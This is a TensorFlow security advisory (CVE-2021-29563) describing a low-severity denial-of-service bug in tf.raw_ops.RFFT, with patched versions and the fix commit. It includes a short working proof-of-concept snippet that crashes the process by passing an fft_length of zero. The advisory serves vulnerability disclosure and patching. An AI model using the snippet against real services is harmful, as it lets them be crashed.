`CHECK`-fail in `tf.raw_ops.RFFT`

Low **mihaimaruseac** published **GHSA-ph87-fvjr-v33w** on May 12, 2021

Package

tensorflow, tensorflow-cpu, tensorflow-gpu (pip)

Affected versions	Patched versions
< 2.5.0	2.1.4, 2.2.3, 2.3.3, 2.4.2

Description

Impact

An attacker can cause a denial of service by exploiting a `CHECK` -failure coming from the implementation of `tf.raw_ops.RFFT` :

```
import tensorflow as tf

inputs = tf.constant([1], shape=[1], dtype=tf.float32)
fft_length = tf.constant([0], shape=[1], dtype=tf.int32)

tf.raw_ops.RFFT(input=inputs, fft_length=fft_length)
```

The above example causes Eigen code to operate on an empty matrix. This triggers on an assertion and causes program termination.

Patches

We have patched the issue in GitHub commit 31bd5026304677faa8a0b77602c6154171b9aec1.

The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.

Severity

Low

CVE ID

CVE-2021-29563

Weaknesses

No CWEs